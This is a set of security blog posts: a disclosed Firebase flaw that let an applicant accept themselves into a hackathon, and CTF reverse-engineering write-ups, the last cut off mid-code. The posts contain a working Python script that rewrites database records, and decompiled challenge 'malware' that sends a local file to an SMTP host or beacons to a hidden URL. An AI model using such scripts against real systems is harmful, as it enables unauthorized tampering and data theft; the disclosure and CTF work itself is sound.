[{"content":"With all the buzz online and among my friends about GenAI Genesis 2025, a generative AI hackathon hosted at my school, the University of Toronto, I decided to apply even though I was pretty busy that weekend, hoping my schedule would clear by the time the hackathon came around. The sequence of events that followed led me into finding a vulnerability that let me accept my own hackathon application, before applications had even officially closed.\nstory time! After making my account on the site at 3 o&rsquo;clock in the morning, I somehow realized that I had better things to do at the time (like sleeping), and so I decided to apply the following day. Oddly, my password manager (KeePassXC for those curious), didn&rsquo;t save my password and I had to reset it:\nHello, Follow this link to reset your genai-hackathon-2024 password for your &lt;email&gt; account. https:\/\/genai-hackathon-2024.firebaseapp.com\/__\/auth\/action?mode=resetPassword... If you didn\u2019t ask to reset your password, you can ignore this email. Thanks, Your genai-hackathon-2024 team (2024?) I was sent a link to a site on the firebaseapp.com domain, and this reminded me of the countless blog posts and articles I&rsquo;ve read on people finding misconfigurations in firebase, and I was curious to see if this site would fare any better.\ngetting acquainted I started of by testing some of the low hanging fruit I&rsquo;ve previously seen, but instead of using Firepwn like I saw in some blog posts, I used a python library called pyrebase (or well a fork of it that supported newer versions of python), which is just a wrapper around the firebase API.\nBut before using either tool, I first needed to extract the firebase config object from the frontend, which I did by searching for some of the field names. The config object is only used for identification to firebase (even the oddly named apiKey), and none of these identifiers are supposed to be a secret.\nn.ZF)({ apiKey: &#34;AIzaSyAAign9HlDM7bcdWhsIzeRlvNWbLglmuUY&#34;, authDomain: &#34;genai-hackathon-2024.firebaseapp.com&#34;, databaseURL: &#34;https:\/\/genai-hackathon-2024-default-rtdb.firebaseio.com&#34;, projectId: &#34;genai-hackathon-2024&#34;, storageBucket: &#34;genai-hackathon-2024.firebasestorage.app&#34;, messagingSenderId: o.env.NEXT_PUBLIC_FIREBASE_MESSAGING_SENDER_ID, appId: &#34;1:212015883358:web:085918af35bc10d23100cf&#34;, measurementId: o.env.NEXT_PUBLIC_FIREBASE_MEASUREMENT_ID }); While looking for the config object, I realized I had access to the original source code of the project. (before it was webpacked &amp; minified) This is possible because sentry.io before v9 emitted source maps to production by default. Continuing to test the low hanging fruit, I checked to see if there was misconfigured read access to the entire database.\nimport empyrebase config = { &#34;apiKey&#34;: &#34;AIzaSyAAign9HlDM7bcdWhsIzeRlvNWbLglmuUY&#34;, &#34;authDomain&#34;: &#34;genai-hackathon-2024.firebaseapp.com&#34;, &#34;databaseURL&#34;: &#34;https:\/\/genai-hackathon-2024-default-rtdb.firebaseio.com&#34;, &#34;storageBucket&#34;: &#34;genai-hackathon-2024.firebasestorage.app&#34;, &#34;projectId&#34;: &#34;genai-hackathon-2024&#34; } firebase = empyrebase.initialize_app(config) auth = firebase.auth() user = auth.sign_in_with_email_and_password(&#34;&lt;email&gt;&#34;, &#34;&lt;password&gt;&#34;) db = firebase.database() print(db.get(user[&#39;idToken&#39;])) # &#34;error&#34; : &#34;Permission denied&#34; the bug With no luck so far, I decide to check how the site communicated with firebase, where I found a very interesting design choice. The site was grabbing all the user data it had stored about my application, and only then parsing the data received for what it actually wanted. When submitting a new application, it set the whole application object as well.\ntype statusOptions = | &#39;not started&#39; | &#39;not completed&#39; | &#39;submitted&#39; | &#39;waitlisted&#39; | &#39;rejected&#39; | &#39;accepted&#39; | &#39;admitted&#39; | &#39;rejected offer&#39;; const application = { userId: uid, applicationId: uid, applicationStatus: status as statusOptions, section1: { \/\/ boring actual hackathon application stuff } statusFlags: { reviewed: false, shortlisted: false, accepted: false, rejected: false, rsvp: false, }, }; After noticing this, I attempted to send a update request to the database with the applicationStatus as accepted,\nimport empyrebase import sys firebase = empyrebase.initialize_app(config) auth = firebase.auth() user = auth.sign_in_with_email_and_password(sys.argv[1], sys.argv[2]) db = firebase.database() application_info = db.child(&#34;applications&#34;).child(user[&#34;localId&#34;]).get(user[&#34;idToken&#34;]) application = db.child(&#34;applications&#34;).child(user[&#34;localId&#34;]) print(&#34;before:&#34;) for row in application_info.each(): if row.key() == &#34;applicationStatus&#34;: print(f&#34;applicationStatus: {row.val()}&#34;) if row.key() == &#34;statusFlags&#34;: print(f&#34;statusFlags: {row.val()}&#34;) dict = { &#34;applicationStatus&#34;: &#34;accepted&#34;, &#34;statusFlags&#34;: { &#34;accepted&#34;: True, &#34;rejected&#34;: False, &#34;reviewed&#34;: True, &#34;shortlisted&#34;: True, }, } application.update(dict, user[&#34;idToken&#34;]) application_info = db.child(&#34;applications&#34;).child(user[&#34;localId&#34;]).get(user[&#34;idToken&#34;]) print(&#34;after:&#34;) for row in application_info.each(): if row.key() == &#34;applicationStatus&#34;: print(f&#34;applicationStatus: {row.val()}&#34;) if row.key() == &#34;statusFlags&#34;: print(f&#34;statusFlags: {row.val()}&#34;) $ python genai.py before: applicationStatus: submitted statusFlags: {&#39;accepted&#39;: False, &#39;rejected&#39;: False, &#39;reviewed&#39;: False, &#39;shortlisted&#39;: False} after: applicationStatus: accepted statusFlags: {&#39;accepted&#39;: True, &#39;rejected&#39;: False, &#39;reviewed&#39;: True, &#39;shortlisted&#39;: True} It worked :D\nbonus bug: information leakage After disclosing the initial vulnerability, I discovered that while it was no longer possible to write to any values the site itself didn&rsquo;t modify, since the site still grabbed the whole application object, you could still read sensitive information about your own application, such as getting your application&rsquo;s acceptance status early, your reviewer&rsquo;s full name, any comments they made about you, and their overall rating of your application. (Reviewer&rsquo;s names have been redacted for privacy concerns) I later verified this was fully fixed by the maintainers modifying the site to have specific functions to fetch what it needed, allowing for the further tightening of database rules.\ndisclosure timeline (mm\/dd\/yyyy) 03\/09\/2025 - vulnerability disclosed 03\/09\/2025 - initial patch 03\/10\/2025 - information leakage disclosed 03\/12\/2025 - final patch conclusion Thanks for reading til the end! I hope you enjoyed reading this blog post as much as I enjoyed making it! p.s, you should follow me on X\/twitter, I&rsquo;m a freshman posting some cool stuff :)\n","permalink":"https:\/\/fastcall.dev\/posts\/genai-genesis-firebase\/","summary":"A lesson in firebase misconfigurations and poor testing.","title":"How I accepted myself into Canada's largest AI hackathon"},{"content":"UofTCTF Members:\n__fastcall (me): rev &ndash; constantly complains about no windows rev White: literally every category &ndash; gains dyslexia when trying to read flags Tyler_: pwn &ndash; proof that hitting legs exponentially improves your pwning skills Toadytop: cryptography &ndash; solves crypto to symphonies and jazz SteakEnthusiast: web &ndash; studied his security midterm with this CTF instead, got 104% The decompiled code in this write up may not match the exact disassembly, it has been manually beautified where appropriate for your reading pleasure.\nMalware has been found on Christina Krypto&rsquo;s computer, it seems that it was uploaded around the time of her death. Investigate the binary to see if you can find something in relation to the perpetuator. It must be Kaylined, the rest of the suspects don&rsquo;t seem capable of making something of this sort. Analysts have also noted that the malware seems to somehow be communicating with something&hellip;\nInitial Analysis We are given a single binary, notavirus. Loading the binary into the industry standard disassembler and decompiling it, after the many string mutations, we see a warning for the ptr variable that&rsquo;s passed to many functions along with emails and other strings.\nThere can be many reasons for this, but one of the most common I&rsquo;ve seen is the decompiler getting confused at the calling convention or number of arguments passed to a function, mostly due to IDA&rsquo;s decompilation being lazy by default, in contrast to other tools. (this means that functions are only decompiled in IDA when you click into them)\nA easy fix is to use the Create C file feature (File -&gt; Produce file -&gt; Create C file), to force IDA to decompile every function in the binary in order to generate the file. After doing this and refreshing the decompilation, we find that the warning disappears and the functions now have the correct arguments, great!\nBack to the start of the main function, we see many string manipulations that seem to create two char arrays passed to a mystery function.\n_BOOL8 __fastcall main(int argc, char **argv, char **envp) { size_t v3; char *v4; char *v5; size_t v6; char *v7; size_t v8; char *v9; char *v10; void *ptr; v3 = strlen(s); v4 = stpcpy(&amp;s[v3], src); v5 = stpcpy(v4, aI4gr1w); strcpy(v5, aBbnuj29x); sub_28B0(s); v6 = strlen(aErqure); v7 = stpcpy(&amp;aErqure[v6], aEvatobg); strcpy(v7, aGbzgrkg); sub_2980(aErqure); sub_2A40(s, aErqure, barray_out); v8 = strlen(aTrrdn0); v9 = stpcpy(&amp;aTrrdn0[v8], aJxig9); v10 = stpcpy(v9, a0iocl); strcpy(v10, aRhqhka); sub_2A40(aTrrdn0, aErqure, barray_out_2); sub_28B0(barray_out_2); if ( sub_27C0() ) { puts(&#34;Failed to read the flag.&#34;); exit(1); } sub_3720(&#34;mxexfil.secard.ca&#34;, &#34;4545&#34;, 0, 2, 0LL, &amp;ptr); sub_39B0(ptr, 2, barray_out, barray_out_2); Looking at the string constants referenced by the functions, they look like base64 chunks, but seem to out of order in the binary itself.\n.data:000000000000A388 ; char aBbnuj29x[] .data:000000000000A388 aBbnuj29x db &#39;bBNuJ29x&#39;,0 ; DATA XREF: main+4E\u2191o .data:000000000000A391 ; char aI4gr1w[] .data:000000000000A391 aI4gr1w db &#39;I4GR1w&#39;,0 ; DATA XREF: main+3F\u2191o .data:000000000000A398 ; char src[] .data:000000000000A398 src db &#39;RTwFA&#39;,0 ; DATA XREF: main+2E\u2191o .data:000000000000A39E align 20h .data:000000000000A3A0 ; char s[] .data:000000000000A3A0 s db &#39;a2GeN&#39;,0 The sub_28B0, sub_2980 and related functions doing the string mutations seem pretty optimized and complex on first glance, in the interest of a first blood I opted to switch to dynamic analysis and dump the values of the two output arrays after they executed.\n$ .\/notavirus Error: Could not open \/home\/user\/Documents\/flag.txt. Failed to read the flag. $ echo $? 1 However, when trying to run the binary, we seem to hit the condition in the above if statement.\nint64_t sub_27C0() { char *username; FILE *handle; char flag_str[1048]; username = getenv(&#34;HOME&#34;); if ( username ) { snprintf(flag_str, 1024, &#34;%s\/Documents\/flag.txt&#34;, username); handle = fopen(flag_str, &#34;r&#34;); if ( handle ) { if ( fgets(flag_buffer, 1024, handle) ) { fclose(handle); return 0; } fprintf(stderr, &#34;Error: Could not read from %s.\\n&#34;, flag_str); fclose(handle); } else { fprintf(stderr, &#34;Error: Could not open %s.\\n&#34;, flag_str); } } else { fwrite(&#34;Error: HOME environment variable not set.\\n&#34;, 1, 42, stderr); } return 1; } We can just create the directory and file ~\/&lt;username&gt;\/Documents\/flag.txt to pass this check and proceed. (the file cannot be empty)\nAfter placing a breakpoint on the function, we see the two arrays passed contain base64 encoded data:\n.bss:000055555555E500 ; char barray_out[32] .bss:000055555555E500 barray_out db &#39;c&#39;, &#39;2&#39;, &#39;V&#39;, &#39;u&#39;, &#39;Z&#39;, &#39;G&#39;, &#39;V&#39;, &#39;y&#39;, &#39;Q&#39;, &#39;G&#39;, &#39;V&#39;, &#39;4&#39;, &#39;Y&#39;, &#39;W&#39; .bss:000055555555E500 ; DATA XREF: main+B\u2191o .bss:000055555555E50E db &#39;1&#39;, &#39;w&#39;, &#39;b&#39;, &#39;G&#39;, &#39;U&#39;, &#39;u&#39;, &#39;Y&#39;, &#39;2&#39;, &#39;9&#39;, &#39;t&#39;, 0, 0, 0, 0, 0, 0 .bss:000055555555E51E db 0, 0 .bss:000055555555E520 ; char barray_out_2[32] .bss:000055555555E520 barray_out_2 db &#39;V&#39;, &#39;G&#39;, &#39;h&#39;, &#39;p&#39;, &#39;c&#39;, &#39;0&#39;, &#39;l&#39;, &#39;z&#39;, &#39;T&#39;, &#39;m&#39;, &#39;9&#39;, &#39;0&#39;, &#39;V&#39;, &#39;G&#39; .bss:000055555555E520 ; DATA XREF: main+2\u2191o .bss:000055555555E52E db &#39;h&#39;, &#39;l&#39;, &#39;R&#39;, &#39;m&#39;, &#39;x&#39;, &#39;h&#39;, &#39;Z&#39;, &#39;w&#39;, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 We can easily copy this out of IDA by clicking the label and pressing Shift+E (this seems unmapped if you use the new keybindings in IDA 9, do Edit -&gt; Export Data instead)\nDecoding this using Cyberchef, we find that the values are sender@example.com and ThisIsNotTheFlag. Feeling a bit disappointed, I went back to IDA to analyze these functions.\n\/\/ {... v12 = socket(addr_info-&gt;ai_family, addr_info-&gt;ai_socktype, addr_info-&gt;ai_protocol); *(v10 + 4) = v12; if ( v12 &gt;= 0 ) { if ( connect(v12, addr_info-&gt;ai_addr, addr_info-&gt;ai_addrlen) &gt;= 0 ) break; close(*(v10 + 4)); \/\/ ...} if ( !sub_555555557090(v10, &#34;EHLO smtp\\r\\n&#34;, 0xBuLL) ) sub_5555555574F0(v10); if ( *(v10 + 128) ) goto LABEL_21; if ( a3 ) return 0LL; if ( sub_555555557090(v10, &#34;STARTTLS\\r\\n&#34;, 0xAuLL) ) In sub_7720, we find a low level socket connection being made, and some interesting strings that mention smtp. I connected to this socket using the domain and port passed into this function, mxexfil.secard.ca:4545. I&rsquo;ll come back to that STARTTLS command later, I missed it at first.\n$ nc mxexfil.secard.ca 4545 220 npmtemp smtp4dev ready help 500 Command unrecognised ehlo 250-HEYYYOOO NICE 2 MEET U!!. 250-8BITMIME 250-SIZE 250-SMTPUTF8 250-STARTTLS 250-AUTH=CRAM-MD5 PLAIN LOGIN 250 AUTH CRAM-MD5 PLAIN LOGIN This seems like a smtp server alright! Let&rsquo;s move onto the second function.\nint64_t sub_79B0(int64_t handle, int auth_type, const char *array_1, const char *array_2) { \/\/ ... if ( auth_type == 2 ) \/\/ ... v32 = &#34;AUTH PLAIN &#34;; if ( auth_type == 3 ) \/\/ ... v14 = &#34;AUTH LOGIN &#34;; else { if (sub_7090(handle, &#34;AUTH CRAM-MD5\\r\\n&#34;, 0xF)) \/\/ ... } \/\/ ... } This function is even longer, but the second parameter auth_type is the immediate value 2, and the code will branch based on this parameter. We can ignore the rest of this function. After googling these strings and learning about the smtp protocol, I realized that this function is choosing the authentication method to the SMTP server, and this binary will always use AUTH PLAIN.\nIn this mode, the username and password are concatenated together, then encoded in base64 and then sent to the server. Encoding sender@example.comThisIsNotTheFlag in base64, gives us c2VuZGVyQGV4YW1wbGUuY29tVGhpc0lzTm90VGhlRmxhZw, and I tried to pass this to the smtp server through my netcat connection.\n$ nc mxexfil.secard.ca 4545 220 npmtemp smtp4dev ready AUTH PLAIN c2VuZGVyQGV4YW1wbGUuY29tVGhpc0lzTm90VGhlRmxhZw 535 Bad Base64 data I couldn&rsquo;t get the authentication to work, and just decided to dump the value after it had been created. This gave me AGMyVnVaR1Z5UUdWNFlXMXdiR1V1WTI5dABWR2hwYzBselRtOTBWR2hsUm14aFp3, and I then realized that two null bytes were added, one in between the username and password, and one at the start of the username.\n$ nc mxexfil.secard.ca 4545 220 npmtemp smtp4dev ready AUTH PLAIN AGMyVnVaR1Z5UUdWNFlXMXdiR1V1WTI5dABWR2hwYzBselRtOTBWR2hsUm14aFp3 235 HEYYO WELCOME BACK FLAG STEEELR This time, it worked! I couldn&rsquo;t find anything interesting in the next 3 functions other than the data passed to them, so I went to go analyze the last function, which interesting has the flag_buffer passed to it!\nif ( sub_5555555575A0(handle, &#34;MAIL FROM&#34;, *v5)) return *(handle + 128); if ( sub_5555555575A0(handle, &#34;RCPT TO&#34;, *v10)) return *(handle + 128); if ( sub_555555557090(handle, &#34;DATA\\r\\n&#34;, 6uLL)) return *(handle + 128); The challenge clicked in my head once I saw what was happening here. The client was sending an email to server, to which the server will likely respond with the flag. I wanted to continue reversing the binary and re-implement the SMTP commands, but after playing around with the server some more, I ran into a problem:\n$ nc mxexfil.secard.ca 4545 220 npmtemp smtp4dev ready AUTH PLAIN AGMyVnVaR1Z5UUdWNFlXMXdiR1V1WTI5dABWR2hwYzBselRtOTBWR2hsUm14aFp3 235 HEYYO WELCOME BACK FLAG STEEELR MAIL FROM xorigin33@yandex.ru 451 Secure connection required Secure connection required? Looking up this error message, it turns out we need to use TLS in order to send emails. Remember STARTTLS? Here it comes!\n$ nc mxexfil.secard.ca 4545 220 npmtemp smtp4dev ready STARTTLS 220 Ready to start TLS After taking a break, I thought of a much easier way to solve this challenge, dynamically. Since this client is fully implemented, we can &ldquo;MITM&rdquo; the data sent between the client and server, and hopefully grab the flag when its sent from the server!\nSince this is a socket connection, I immediately looked for cross references to recv when I remembered that the smtp connection was encrypted with TLS. I realized that OpenSSL was being used to do the TLS after seeing SSL_read called after recv, and realized I could place a breakpoint after SSL_read to see what encrypted data was received!\nLooking at the function prototype for SSL_read on it&rsquo;s man page, we see that the written buffer is in the 2nd argument (the r12 register). int SSL_read(SSL *ssl, void *buf, int num);.\n[heap]:0000555555565120 a250HeyyyoooNic db &#39;250-HEYYYOOO NICE 2 MEET U!!.&#39;,0Dh,0Ah [heap]:000055555556513F db &#39;250-8BITMIME&#39;,0Dh,0Ah [heap]:000055555556514D db &#39;250-SIZE&#39;,0Dh,0Ah [heap]:0000555555565157 db &#39;250-SMTPUTF8&#39;,0Dh,0Ah [heap]:0000555555565165 db &#39;250-AUTH=CRAM-MD5 PLAIN LOGIN&#39;,0Dh,0Ah [heap]:0000555555565184 db &#39;250 AUTH CRAM-MD5 PLAIN LOGIN&#39;,0Dh,0Ah [heap]:00005555555651A3 db &#39; PLAIN LOGIN&#39;,0Dh,0Ah,0 Watching this register as we continue past hits on this breakpoint, and we can watch the encrypted traffic being received by our client. (I&rsquo;m showing the traffic truncated, the actual traffic is much longer)\ndb &#39;250 New message started&#39;,0Dh,0Ah db &#39;250 Recipient accepted&#39;,0Dh,0Ah db &#39;354 End message with period&#39;,0Dh,0Ah db &#39;250 YAYYY MAIL SENT MagpieCTFFLAG Sup3rM41LTr4nsp0rtPr0t0c47l&#39;,0Dh Solved! magpieCTF{Sup3rM41LTr4nsp0rtPr0t0c47l}\nConclusion This was definitely my favorite RE challenge in this CTF! By the way, it was indeed not a virus :P\n","permalink":"https:\/\/fastcall.dev\/posts\/magpie-rev-2025\/","summary":"Write-up for the SMalwareTP RE challenge in magpieCTF 2025.","title":"magpieCTF 2025 SMalwareTP challenge writeup"},{"content":"Here&rsquo;s are all my writeups for all of the reverse engineering challenges in Black Hat Bureau CTF 2025.\nUofTCTF Members:\n__fastcall (me): rev White: pwn Toadytop: cryptography SteakEnthusiast: web NOTE: Once again, all code in writeup has been beautified manually for your reading pleasure. It may not represent the exact disassembly, but it does represent the semantics of the code.\nSIMPLE DIMPLE (19 solves) this is a very simple dimple challenge\nWe get two zip files, one with an executable with linux, and one for windows. Decompiling the linux executable&hellip;\nint main(int argc, const char **argv, const char **envp) { char flag_buffer[64]; char flag[20]; char password[12]; char input[32]; strcpy(password, &#34;sup3rs3cr3t&#34;); strcpy(flag, &#34;bhbureau{$+R!nGz}&#34;); strcpy(flag_buffer, flag); printf(&#34;Enter the password: &#34;); scanf(&#34;%s&#34;, input); if ( !strcmp(input, password) ) printf(&#34;Access Granted! Flag: %s\\n&#34;, flag_buffer); else puts(&#34;Access Denied!&#34;); return 0; } The flag is visible in plaintext. bhbureau{$+R!nGz}\nStarlight&rsquo;s Nightmare (13 solves) He likes.. Cool cats.. Phantom Maze, Tackle this short-but-twisted reverse engineering puzzle. A secret hidden, protected Uncover the correct password, decrypt the hidden key, and call the victory function to reveal the final flag. Good luck.\nAfter completely ignoring the description or ascii art cat, we look at the at the main function of the ELF binary we are given&hellip;\nint main(int argc, const char **argv, const char **envp) { char key[64]; char input2[40]; size_t size; char xored_key[32]; char input[40]; void (*indirect_call)(void); size = 0LL; combineKeys(key, 64uLL); printf(&#34;Enter password: &#34;); fgets(input, 32, _bss_start); input[strcspn(input, &#34;\\n&#34;)] = 0; if ( !strcmp(input, &#34;UnbreakableP@ssw0rd!&#34;) ) { puts(&#34;Correct password! Generating encrypted key...&#34;); xor_encrypt(key, xored_key, &amp;size); printf(&#34;Encrypted Key (HEX): &#34;); for ( size_t i = 0; i &lt; size; ++i ) printf(&#34;%02X&#34;, xored_key[i]); putchar(&#39;\\n&#39;); indirect_call = (globalFnPtrOffset - 5); printf(&#34;Now enter the decrypted key: &#34;); fgets(input2, 32, _bss_start); input2[strcspn(input2, &#34;\\n&#34;)] = 0; if ( !strcmp(input2, key) ) indirect_call(); else puts(&#34;Wrong decrypted key! Try harder.&#34;); return 0; } else { puts(&#34;Incorrect password. Exiting...&#34;); return 1; } } That indirect_call() after the second successful strcmp seems suspicious! Let&rsquo;s see where that function pointer goes:\n.data:4078 public function_ptr .data:4078 function_ptr dq offset loc_11BD+1 loc_11BD goes to a function calledwin(), with the flag visible in plaintext, with no flag format.\nint win() { return puts(&#34;Congratulations! You have solved the challenge! Here is your flag: W3bIsCool-But-R3VEng-istoo&#34;); } Eleet (6 solves) Agent we found this program &ldquo;Eleet&rdquo; on one our local computers, our analysis has determined it to be harmless but it seems one of your colleagues likes to play pranks. Your task is to figure out what they have hidden in the binary for you.\nWe find ourselves with a unstripped ELF C binary, and before actually we RE the whole binary, I always like just by looking around at the binary to see if I can find a shortcut or a unintended solution. I am immediately alerted to the interesting sounding decrypt_flag function&hellip;\nvoid decrypt_flag(char *out_flag) { for ( int i = 0; i &lt; 31; ++i ) out_flag[i] = encoded_flag[i] ^ 0x42; out_flag[31] = 0; } .data:4090 ; char encoded_flag[31] .data:4090 encoded_flag db 20h, 2Ah, 20h, 37h, 30h, 27h, 23h, 37h, 1, 16h, 4, 39h .data:409C db 7, 3Ah, 32h, 2Eh, 2Dh, 2Bh, 36h, 27h, 26h, 1Dh, 0, 23h .data:40A8 db 21h, 29h, 26h, 2 dup(2Dh), 30h, 3Fh We find that the flag is sitting directly in the executable, behind a 1 byte XOR. IDA doesn&rsquo;t have the best UX when it comes to copying bytes out of it&rsquo;s views (select the bytes you want, Edit -&gt; Export Data and copy it out of the preview box), and hexcopy by OALabs, is a great way to turn it into a single click experience. I used CyberChef to do the decryption. bhbureauCTF{Exploited_Backdoor}\ntseuqer (5 solves) We have reason to believe the bureaus agents have poined our File Integrity Checker, tseuqer. This has been serious breach due to the software being very popular with our staff. We want you to find the leak and remedy is as soon as possible.\nWe find a ELF binary written in C with a main function that creates a pthread. Let&rsquo;s look at the created thread&hellip;\nvoid* main_thread(void *ptr) { FILE *fHandleNull; char url[264]; CURL* handle; base64_decode(&#34;aHR0cHM6Ly9p[c2Nlc3Npb25zY3RmLXF3ZXJ0eXh6cXdlcnR0eS5jaGFscy5pby8=&#34;, url); while ( 1 ) { do { sleep(10u); handle = curl_easy_init(); } curl_easy_setopt(handle, CURLOPT_URL, url); curl_easy_setopt(handle, CURLOPT_NOBODY, 1L); \/\/ do not get the body (HEAD request) curl_easy_setopt(handle, CURLOPT_TIMEOUT, 5L); \/\/ set max transfer time to 5 seconds curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, ); \/\/ disable peer verification curl_easy_setopt(handle, CURLOPT_SSL_VERIFYHOST, 0L); \/\/ disable certificate host verification curl_easy_setopt(handle, CURLOPT_VERBOSE, 0L); \/\/ verbose mode is disabled by default, this does nothing fHandleNull = fopen(&#34;\/dev\/null&#34;, &#34;w&#34;); curl_easy_setopt(handle, CURLOPT_STDERR, fHandleNull); curl_easy_perform(handle); curl_easy_cleanup(handle); } } After decoding the base64 string, we get the URL, https:\/\/iscessionsctf-qwertyxzqwertty.chals.io\/. The challenge author made a typo when creating the challenge, and so we guess the correct URL https:\/\/issessionsctf-qwertyxzqwertty.chals.io\/. Visiting this URL in a browser gives us the flag (emulating the cURL request will not help as it specifically does not get the body). bhbureauCTF{H4ck3r_H34rtb34t_St0pp3d}\nLaunch Codes (2 solves) Operative, we have gotten our hands on a top secret application which is rumoured to contain an active launch code for one of the cold war era ICBMs. Intelligence suggests that the program verifies an ID related to historic military technology, but all further details are classified. We would like you to recover the active code from this application before the bureau gets their hands on it.\nWe get a PE file LaunchCodes.exe, after putting it through DIE, we find out that it&rsquo;s written in nim! This language has become popular with threat actors in recent years, and so there is some nice reverse engineering tooling available for us to use. Unfortunately, when trying to use nimflit for the latest version of IDA Pro (9.0sp1), we find the plugin to consistently enter an infinite loop. I unfortunately had to use ghidra for the rest of this challenge :(\n$ LaunchCodes.exe ------------------------------------------------------------ Welcome to ICBM control system ------------------------------------------------------------ Enter your secret key: Running the program, we see prompt that asks for a secret key.\nstd::syncio::readLine(&amp;local_38,(FILE *)pFVar2); if (*local_20 == &#39;\\0&#39;) { local_58 = 0xa5; local_128 = local_38; local_120 = local_30; local_28 = chk(&amp;local_128); \/\/ { ... } Looking around in the main function for a bit, we see a readline call, followed by a call to a user created function called chk (check?). This is a complicated function, however what is does in a nutshell is hash the input provided by the user (by calling digest from the nimcrypto library, and then enter one of two comparison checks.\nBefore fully reversing this function, let&rsquo;s see what happens when we inverse these checks.\nWe place a breakpoint in x64dbg at the first of these checks, inverse the ZF flag, so the jne instruction will jump to the other branch, and we find that the flag is printed out, with no flag format. Your requested resource is: {S3COND_S7RIKE}\nEvasive (2 solves, broken) The Black Hat Bureau has developed a new tool to guard their secrets with ruthless precision. It has been code named Evasive due to its highly volatile behavior. We want you to uncover the secret it hides.\nint main(int argc, const char **argv, const char **envp) { char out_str[32]; char input[32]; anti_debug(); timing_check(); printf(&#34;Enter the flag: &#34;); fgets(input, 32, _bss_start); input[strcspn(input, &#34;\\n&#34;)] = 0; if ( check_key(input) ) { decrypt_flag(out_str); printf(&#34;Correct! Flag is: %s\\n&#34;, out_str); } else { puts(&#34;Incorrect flag!&#34;); } return 0; } We are given another ELF binary, that seems to be a flag checker.\nchar *decrypt_flag(char *out_str) { char *result; int i; for ( i = 0; i &lt;= 30; ++i ) { result = &amp;out_str[i]; *result = flag_encrypted[i] ^ 0x7A; } return result; } Working backwards, we check the decrypt_flag function, where we see a similar routine as in Eleet. Is this another 1 byte XOR protecting the flag?\n00000000 62 68 62 75 72 65 61 75 43 54 46 7b 1f 3f 53 33 |bhbureauCTF{.?S3| 00000010 63 72 23 74 55 6e 76 33 22 6c 33 64 78 2d 7d |cr#tUnv3&#34;l3dx-}| Not quite, after decrypting the flag, we find it to have some corrupted characters. bhbureauCTF{..S3cr#tUnv3&quot;l3dx-} Weird, lets look at the other function&hellip;\nbool check_key(const char *input) { char v2[36]; int j; int checksum; int i; if ( strlen(input) != 31 ) return 0; if ( strncmp(input, &#34;bhbureauCTF{&#34;, 12) ) return 0; for ( i = 12; i &lt;= 29; ++i ) v2[i] = (7 * i % 256) ^ input[i]; checksum = 0; for ( j = 12; j &lt;= 29; ++j ) checksum += (j + 1) * v2[j]; return checksum == -10441; } We see a checksum being generated and used as a constraint on the input. The first thought you might have would be to try to use the checksum and solve for the corrupted characters with a symbolic solver like z3.\nBut after looking at this function and at the flag carefully, we notice a huge problem, the constraints are not well defined enough to find a single ASCII solution. Our checksum is only 4 bytes long (size of an int), and our flag is much longer than that. There are hundreds of thousands of valid ASCII flags that pass this checksum and are considered a valid check by the program.\nHowever, this challenge, while broken, was still solved. How? Guessing.\nbhbureauCTF{\u001f?S3cr#tUnv3&quot;l3dx-} Looking at the corrupted flag, we can guess some of the more obvious corrupted characters. We can replace the # with a 3, and the &quot; with a 1. We also need to guess that the character set is [a-zA-Z0-9\\-], as there will still be many valid ASCII solutions.\nWe then replace both of the corrupted characters left with ? to indicate to our script that we need to solve for them.\nimport z3 flag = bytearray(b&#39;??S3cr3tUnv31l3dx-&#39;) flagOrig = bytes(flag) for i in range(len(flag)): flag[i] ^= 7 * (0xc + i) flagEnc = [int.from_bytes(bytes([i]), &#39;little&#39;, signed=True) for i in flag] flagVars = [z3.BitVec(f&#39;f{i}&#39;, 8) for i in range(len(flag))] s = z3.Solver() for ind, c in enumerate(flagOrig): if c != b&#39;?&#39;[0]: s.add(flagVars[ind] == flagEnc[ind]) else: s.add(z3.Or(z3.And((flagVars[ind] ^ (7 * (0xc + ind))) &lt;= 57, (flagVars[ind] ^ (7 * (0xc + ind))) &gt;= 45), z3.And((flagVars[ind] ^ (7 * (0xc + ind))) &lt;= 90, (flagVars[ind] ^ (7 * (0xc + ind))) &gt;= 65), z3.And((flagVars[ind] ^ (7 * (0xc + ind))) &lt;= 122, (flagVars[ind] ^ (7 * (0xc + ind))) &gt;= 97))) csum = 0 for i in range(len(flagEnc)): csum += z3.SignExt(8, flagVars[i]) * (1 + 0xc + i) s.add(csum == z3.BitVecVal(-10441, 16)) while s.check() == z3.sat: solution = False m = s.model() for i in flagVars: solution = z3.Or((i != m[i]), solution) s.add(solution) realFlag = b&#39;&#39; for i in flagVars: realFlag += (m[i].as_long()).to_bytes(1, &#39;little&#39;) for i in range(len(flag)): flag[i] = realFlag[i] ^ (7 * (0xc + i)) print(flag) # output: bytearray(b&#39;InS3cr3tUnv31l3dx-&#39;) bhbureauCTF{InS3cr3tUnv31l3dx-}\nPiece of the Pie (1 solve) Operative, this seemingly plain looking calculator program is believed to be hiding a critical piece of information which can severely damage our field operations. Find the hidden piece and report back ASAP.\nA C++ binary, wonderful! I noticed immediately that it was a C++ binary from some of the default exception code &amp; strings from std::string functions. (basic_string: construction from null is not valid', etc.)\nWe can find the main function by searching for the text that appears when running the executable. This leads to a very long main function, I have extracted out some of the interesting parts&hellip;\nv3 = (std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;)(&amp;std::cout, &#34;+++++++++++++++++++++++++++++++++++++++++++++++&#34;); (std::ostream::operator&lt;&lt;)(v3, &amp;std::endl&lt;char,std::char_traits&lt;char&gt;&gt;); v4 = (std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;)(&amp;std::cout);\/\/ ++++++++++ Basic Integer Calculator +++++++++++ (std::ostream::operator&lt;&lt;)(v4, &amp;std::endl&lt;char,std::char_traits&lt;char&gt;&gt;); v5 = (std::operator&lt;&lt;&lt;std::char_traits&lt;char&gt;&gt;)(&amp;std::cout);\/\/ +++++++++++++++++++++++++++++++++++++++++++++++ (std::ostream::operator&lt;&lt;)(v5, &amp;std::endl&lt;char,std::char_traits&lt;char&gt;&gt;); This the initial banner outputted to the terminal. You may notice that the C++ library functions in this binary look nothing like the ones you would actually use in your code. This is because a majority of the standard library is heavily templated, and most of it is optimized out at compile time.\nv82 = &amp;v72; combine_str(v65, &#34;NsaW&#34;, &amp;v72); combine_str(&amp;v66, &#34;IsjI&#34;, &amp;v72); combine_str(&amp;v67, &#34;*&amp;sda==&#34;, &amp;v72); 